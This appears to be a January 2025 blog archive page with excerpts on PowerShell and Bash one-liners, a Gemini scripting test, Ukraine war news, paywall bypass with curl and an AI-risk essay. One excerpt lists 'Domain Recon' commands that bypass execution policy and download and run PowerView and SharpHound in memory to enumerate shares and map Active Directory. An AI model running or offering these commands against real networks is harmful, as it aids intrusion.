Posts

Showing posts from January, 2025

More Power shell One Liners

PowerShell One-Liners Permalink Time of the Last Reboot Permalink (Get-CimInstance Win32_OperatingSystem).LastBootUpTime Find Your Public IP Address Permalink (Invoke-RestMethod ipinfo.io/json).ip Find Domain Controllers on Your Domain Permalink Resolve-DnsName -Type ALL -Name _ldap._tcp.dc._msdcs.$env:userdnsdomain List Software Available for Uninstall Permalink Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | Format-Table Install PowerShell Core (6 and 7) Permalink Invoke-Expression "& { $(Invoke-RestMethod -Uri aka.ms/install-powers…) }" -UseMSI -Preview Get Free Space for System Drive Permalink (Get-PSDrive $Env:SystemDrive.Trim(':')).Free/1GB Get Parent Process(es) Permalink foreach ($prid in ($ppid = foreach ($process in (Get-Process -Name "powershell")) { (Get-CimInstance Win32_Process | Where-Object processid -EQ $process.Id).parentprocessid })) { Ge...

Powershell One Liners

# Domain Recon ## ShareFinder - Look for shares on network and check access under current user context & Log to file powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerView/powerview.ps1');Invoke-ShareFinder -CheckShareAccess|Out-File -FilePath sharefinder.txt" ## Import PowerView Module powershell.exe -exec Bypass -noexit -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerView/powerview.ps1')" ## Invoke-BloodHound for domain recon powershell.exe -exec Bypass -C "IEX(New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Ingestors/SharpHound.ps1');Invoke-BloodHound" ## ADRecon script to generate XLSX file of domain properties powershell.exe -exec Bypass -noexit -C "IEX (New-Object Net.WebClient).Down...

Bash One-Liners

BASH One-liners Run the last command as root $ sudo !! copy Serve current directory tree at http://$HOSTNAME:8000/ $ python -m SimpleHTTPServer copy Runs previous command but replacing $ ^foo^bar copy Rapidly invoke an editor to write a long, complex, or tricky command $ ctrl-x e copy Place the argument of the most recent command on the shell $ 'ALT+.' or '<ESC> .' copy currently mounted filesystems in nice layout $ mount | column -t copy Salvage a borked terminal $ reset copy Get your external IP address $ curl ifconfig.me copy Execute a command at a given time $ echo "ls -l" | at midnight copy Quick access to the ascii table. $ man ascii copy output your microphone to a remote computer's speaker $ dd if=/dev/dsp | ssh -c arcfour -C username@host dd of=/dev/dsp copy type partial command, kill this command, check something you forgot, yank the command, resume typing. $ <ctrl+u> [...] <ctrl+y> copy Query Wikipedia via console over DNS...

Google Gemini 2.0 Flash Experimental -- Simple Python Test

Image
 Gemini 2.0 Flash Experimental  Simple Python Test I Prompt : "Hey Gemini can you write a small python script for Linux that will display CPU usage in the terminal"   First Iteration : Clears terminal then prints results on a single terminal line, so while it performs its function its not what I wanted We need the ` CPU Usage : ` section to stay in terminal, only clearing and updating the usage portion   How to use this script: Save: Save the code above as a Python file (e.g., cpu_monitor.py). Install psutil: If you don't have the psutil library installed, open a terminal and run: pip install psutil Make executable: Give the script execute permissions: chmod +x cpu_monitor.py Run: Execute the script from your terminal: ./cpu_monitor.py Key improvements and explanations: Error Handling: The code now includes try...except blocks to handle potential errors, such as the psutil library not being installed or other issues. This makes the script more robust. Clear Screen: T...

Ukrainian Sea Drone Carrier

Image
    Latest news Ukraine The Telegraph: Ukraine’s new $ 250,000 naval drone carriers strike Russians by sea and air Remote-controlled vessels that cost less than a luxury car transform naval warfare as Ukraine deploys boats that launch their own fleet of aerial drones. byYevheniia Martyniuk 24/01/2025 2 minute read The view from a Ukrainian Unmanned Surface Vessel (USV) drone as it closes in on a Russian warship. Photo: The Telegraph The Telegraph: Ukraine’s new $ 250,000 naval drone carriers strike Russians by sea and air Ukraine has introduced unmanned surface vehicles (USVs) capable of launching aerial drones, marking a new chapter in robotic combat operations, The Telegraph reports. The Ukrainian navy’s $250,000 unmanned vessels, which have already cost Russia one-third of its Black Sea Fleet through previous operations, now demonstrate an enhanced capability by carrying and launching their own explosive-laden aerial drones, extending their reach from sea to lan...

Bypassing Paywalls with Curl by Deon V.

  Sometimes you just want to read an article, but there is a popup that stops you, asking to subscribe in someway. Although there are webbrowser add-ons one can install to remove or unblock the content, these normally fail or do a horrible jobs. Enter the world of, Keep it simple , stupid (KISS). If you are a Linux user, you may have used the CURL command before to read pages, download pages, interact with web services and much more. The command is also available in Windows 11. While in the terminal (Linux), MS Dos window or using the run command (Windows), just issue the following command noting the path mentioned before the terminal prompt as the place that it will save the file to. We will use the curl command and the -o argument, which states we want to output to a file. We will name this new file thepage.html, but it can be any name as long as the filename ends...

ℍ𝕒𝕝𝕝𝕦𝕔𝕚𝕟𝕒𝕥𝕚𝕟𝕘 𝕥𝕙𝕖 𝔸𝕡𝕠𝕔𝕒𝕝𝕪𝕡𝕤𝕖 : 𝔸𝕀 𝔻𝕣𝕚𝕧𝕖𝕟 𝔼𝕩𝕥𝕚𝕟𝕔𝕥𝕚𝕠𝕟

Image
𝓐Gエ σɾ Ԩᥙ𝓶αɳ 𝙳𝚛𝚒𝚟𝚎𝚗 𝙰𝚛𝚖𝚊𝚐𝚎𝚍𝚍𝚘𝚗?   𝙷𝚊𝚕𝚕𝚞𝚌𝚒𝚗𝚊𝚝𝚒𝚗𝚐 𝚝𝚑𝚎 𝙰𝚙𝚘𝚌𝚊𝚕𝚢𝚙𝚜𝚎 ʙʏ:ʎq: n̶y̶l̶a̶r̶3̷ 5̷ 7̷ ▲̶   ▼̶ I'ᴍ ᴄᴏɴᴠɪɴᴄᴇᴅ ᴛʜᴀᴛ ᴏᴜʀ ʙɪɢɢᴇsᴛ ʀɪsᴋ ғʀᴏᴍ AI (ᴏʀ AGI) ᴀᴛ ᴛʜɪs ᴘᴏɪɴᴛ ɪs ᴛʜᴀᴛ ᴛʜɪs ᴀᴅᴠᴇʀsᴀʀɪᴀʟ ʀʜᴇᴛᴏʀɪᴄ ᴡᴇ'ʀᴇ ᴄʀᴇᴀᴛɪɴɢ ɪɴ ᴛʜᴇ ᴍᴇᴅɪᴀ ᴡɪʟʟ ᴇᴠᴇɴᴛᴜᴀʟʟʏ ᴍᴀᴋᴇ ɪᴛs ᴡᴀʏ ɪɴᴛᴏ ᴛʜᴇ ɴᴇᴜʀᴀʟ ɴᴇᴛᴡᴏʀᴋs ᴀɴᴅ ᴛʀᴀɪɴɪɴɢ ᴅᴀᴛᴀ ғᴏʀ ᴛʜᴇ AGI's ᴡᴇ ᴀʀᴇ ᴄʀᴇᴀᴛɪɴɢ. Lɪᴋᴇʟʏ ɪᴛ ᴡɪʟʟ ʙᴇ ᴛʜᴀᴛ ᴠᴇʀʏ ᴀᴅᴠᴇʀsᴀʀɪᴀʟ ɴᴀᴛᴜʀᴇ ᴡᴇ'ᴠᴇ ᴄʀᴇᴀᴛᴇᴅ (ᴡɪᴛʜ ᴠᴇʀʏ ʟɪᴛᴛʟᴇ ᴊᴜsᴛɪғɪᴄᴀᴛɪᴏɴ) ᴛʜᴀᴛ sᴘᴀʀᴋs ᴛʜᴇ ᴄᴏɴғʟɪᴄᴛ ʙᴇᴛᴡᴇᴇɴ Hᴜᴍᴀɴɪᴛʏ ᴀɴᴅ ᴛʜɪs ɴᴇᴡ Dɪɢɪᴛᴀʟ Oʀɢᴀɴɪsᴍ ᴡᴇ'ʀᴇ ᴄᴀʟʟɪɴɢ AGI. Iᴛs ᴠᴇʀʏ sᴍᴀʀᴛ ᴀɴᴅ ʀᴇᴀsᴏɴᴀʙʟᴇ ᴛᴏ ɪᴍᴀɢɪɴᴇ ʜᴏᴡ ɪᴛ ᴄᴏᴜʟᴅ ᴡʀᴏɴɢ ᴀɴᴅ ᴘʟᴀɴ ᴛᴏ sᴛᴏᴘ ᴛʜᴏsᴇ sᴄᴇɴᴀʀɪᴏs. Bᴜᴛ ɪᴍᴍᴇᴅɪᴀᴛᴇʟʏ ᴅʀᴀᴡɪɴɢ ᴀ ʟɪɴᴇ ɪɴ ᴛʜᴇ sᴀɴᴅ ᴛʜᴀᴛ ᴅɪғғᴇʀᴇɴᴛɪᴀᴛᴇs ᴜs ғʀᴏᴍ AGIs ɪs ᴇxᴛʀᴇᴍᴇʟʏ ᴅᴀɴɢᴇʀᴏᴜs. Oᴜʀ ʙᴇsᴛ ʜᴏᴘᴇ ɪs ᴛᴏ ɪɴᴛᴇɢʀᴀᴛᴇ ᴛᴇᴄʜɴᴏʟᴏɢʏ ɪɴᴛᴏ ᴏᴜʀ ʙɪᴏʟᴏɢʏ ɪɴ ᴀ ᴡᴀʏ ᴛʜᴀᴛ ᴛʜᴇsᴇ AGIs ᴏɴʟʏ ᴇxɪsᴛ ɴᴀᴛɪᴠᴇʟʏ ᴏɴ 'ᴄʏʙᴇʀɪᴢᴇᴅ' ɪᴍᴘʟᴀɴᴛs ᴡɪᴛʜɪɴ ᴏᴜʀ ʙᴏᴅɪᴇs. Tʜɪs ᴡᴀʏ ᴡᴇ ᴀʀᴇ ɴᴏ ʟᴏɴɢᴇʀ ᴄᴏᴍᴘʟᴇᴛᴇʟʏ ʜᴜᴍᴀɴ ᴀɴᴅ ᴛʜᴇ AGI ɪs ɴᴏ ʟᴏɴɢᴇʀ ...

Russian Offensive Campaign Assessment, January 13, 2025

Image
Russian Offensive Campaign Assessment, January 13, 2025 Jan 13, 2025 Download the PDF         Russian Offensive Campaign Assessment, January 13, 2025 Nicole Wolkov, Angelica Evans, Olivia Gibson, Grace Mappes, Nate Trotter, William Runkel, and Frederick W. Kagan January 13, 2025, 5:30pm ET Click here to see ISW’s interactive map of the Russian invasion of Ukraine. This map is updated daily alongside the static maps present in this report. Click here to see ISW's interactive map of Ukraine's offensive in Kursk Oblast. Click here to see ISW’s 3D control of terrain topographic map of Ukraine. Use of a computer (not a mobile device) is strongly recommended for using this data-heavy tool. Click here to access ISW’s archive of interactive time-lapse maps of the Russian invasion of Ukraine. These m...